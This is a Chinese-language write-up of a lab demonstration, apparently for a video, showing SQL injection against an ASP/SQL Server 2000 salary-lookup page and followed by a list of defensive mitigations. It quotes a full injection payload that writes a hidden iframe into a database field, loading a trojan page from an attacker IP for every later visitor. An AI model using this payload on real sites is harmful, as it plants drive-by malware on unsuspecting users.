##CONTINUE##
主題:利用SQL Injection將惡意連結寫入資料庫
VMWARE 模擬環境:
Hacker:IP:192.168.123.101
工具:SQL語法與指令、SQL Injection 惡意工具
Server:IP:192.168.123.100
服務:IIS 5.0、SQL Server 2000、ASP程式、本機系統帳號
模擬過程:
Hacker 首先尋找Web網頁中可輸入傳值或變數的輸入欄位(例如:搜尋欄位),模擬發現目標Web Server 192.168.123.100 (DNS名稱暫訂為 www.xyz.com.tw 非真實主機)。
模擬案例為該Web Server提供[ XYZ公司 部門薪資查詢程式 ],其輸入[ 部門編號 ]後並沒有針對該項變數做[ 加密、編碼 ]或者該ASP程式呼叫資料庫的帳號權限太大,所以可採用[ SQL Injection 惡意工具 ]來嘗試猜測資料表及欄位名稱。
註:一個具有安全的網頁撰寫程式,其在程式設計階段應考慮呼叫ADO與資料庫的帳號其權限,應做適當的安全控管設計。所以應該無法猜出其資料表及欄位名稱才是比較妥當的做法。本模擬案例是故意採用[ SQL Server 2000中最大的管理帳號 SA 來做為ASP程式呼叫之用],實際上現今應該沒有客戶是採用這麼不安全的方式。
經比對之後可發現工具所猜測出來的資料表及欄位名稱與實際上之SQL Server 2000內所設計的是相同的,所以駭客可以將這些所獲得之欄位資訊組合出[ 加入帳號、取得權限、更新欄位 ]等的SQL語法。
在該網站的URL以及輸入的欄位上,輸入經組合好的SQL語法字串,嘗試是否可成功[ 加入帳號、取得權限、更新欄位 ]的行為操作。
將[ ' ; UPDATE employee SET empname = '林佳容 <iframe src=http://192.168.123.101/muma/06014.htm width=0 height=0></iframe>' where empno=6905 -- ]語法輸入該模擬網站的URL中,其目的為將惡意程式的語法更新到正常的欄位中,達成以後只要有正常的使用者呼叫到該項欄位資料,例如:查詢薪資資料時,就會觸發惡意語法並呼叫木馬程式植入於該使用者的電腦中。
註:
- 此手法只能針對網頁應用程式+資料庫型態的網站,例如:ASP+SQL Server,來做更新植入惡意語法於資料庫的手法。如果是單純的[ htm、html ]等靜態網頁,則無法成功。
- 該手法主要是利用[ ASP程式中ADO呼叫資料庫的權限太大 ]來執行猜測資料庫的資料表與欄位,並採用[ 組合SQL語法的字串與惡意程式 ]來達到將惡意語法更新至資料庫的目的。
- 並不是每個資料庫欄位都可以使用[ UPDATE xxx SET xxx =' 惡意語法 ' ]來達到更新,必須該項資料欄位型態為[ char 或 varchar ]的文字型態,且該欄位必須要有足夠的欄位空間能容納惡意語法的字串。通常類似這樣的[ varchar(255) ]的欄位型態會出現在撰寫討論區、留言版或新聞內容的欄位中其為最主要被植入的欄位。
- 本Demo示範時沒有處理繁簡中文字型的轉換,造成原本[林佳容被UPDATE之後便成輿槽],事後發現懶得修正就此註明。
防治手段:
- 修正或改寫ASP或其他網頁應用程式,尤其是呼叫ADO的資料庫帳號應將其權限縮小。例如:單純做為查詢之用的ASP程式其呼叫的帳號應該只需要提供[ Select ]的權限即可。
- 利用Stored Procedure進行資料庫操作而不要使用SQL語法的組合字串傳值或變數。
- 限制應用程式或網頁只能擁有執行Store Procedure的權限,不能直接存取資料庫中的Table和View。
- 設定Table、View的欄位權限與欄位空間大小。
- 刪除不必要的系統預設Store Procedure(例如:xp_cmdshell)。
- 避免應用程式使用系統管理員(sa/root/admimistrator)身份登入資料庫。
- 設定TextBox欄位的MaxLength屬性,限定輸入字串的長度。(此法遇到URL網址輸入不一定能限制) 。
- 設定TextBox欄位傳值宣告變數的字串長度。
- 加強對資料庫操作的稽核。
- 建置具第七層應用程之防火牆或IDS/IDP等多層次資訊安全架構,原因為大多數設定良好的防火牆或IDS/IDP設備均可阻擋此類的手法。
特別聲明:
- 本影片預設都沒有錄製聲音。
- 此模擬過程為Demo常見之入侵手法,示範及被攻擊主機均為VMWARE模擬機器而非真實主機。
- 該手法所利用之方式,實際上現今應該沒有客戶是採用這麼不安全的方式。
- 本示範檔並非[教授入侵技巧],相關[駭客工具]及[木馬程式]等檔案請勿詢問及索取。
- 部分關鍵畫面採用霧狀馬賽克顯示,以避免旁人有樣學樣。